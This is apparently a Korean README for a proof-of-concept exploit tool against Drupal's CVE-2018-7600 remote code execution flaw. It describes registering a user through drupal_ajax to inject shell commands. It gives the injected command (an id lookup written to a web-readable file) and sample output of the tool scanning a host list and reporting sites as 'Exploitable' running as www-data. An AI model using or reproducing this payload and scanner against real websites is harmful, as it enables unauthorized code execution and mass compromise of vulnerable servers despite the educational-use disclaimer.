
Drupal CVE-2018-7600 / SA-CORE-2018-002용 개념 증명(PoC)
Drupal 7.58 이전 버전, 8.x 8.3.9 이전 버전, 8.4.x 8.4.6 이전 버전, 8.5.x 8.5.1 이전 버전에서는 기본 또는 일반적인 모듈 구성과 함께 여러 하위 시스템에 영향을 미치는 문제로 인해 원격 공격자가 임의 코드를 실행할 수 있습니다.
drupal_ajax 래퍼에 패킷을 보내 사용자를 등록합니다. 사용자가 exec 마크업을 사용하고 bash를 실행할 수 있게 합니다. 이 PoC는 사용자 이름과 ID를 abcde.txt로 보냅니다.
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee abcde.txt
http*://example.com/abcde.txt를 확인합니다.
[!] PROVIDED ONLY FOR EDUCATIONAL OR INFORMATION PURPOSES.
[?] Enter file name (example: /root/file/hosts.txt): hosts.txt
[+] https://example.com/ Possibly exploitable
[~] Checking... https://example.com/abcde.text
[+] https://example.com/ Exploitable
[+] UID: 33 Name: www-data
[+] Deleting... https://example.com/abcde.text
%s = 파일 이름
사용자 ID, PID 및 그룹 페이로드
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee %s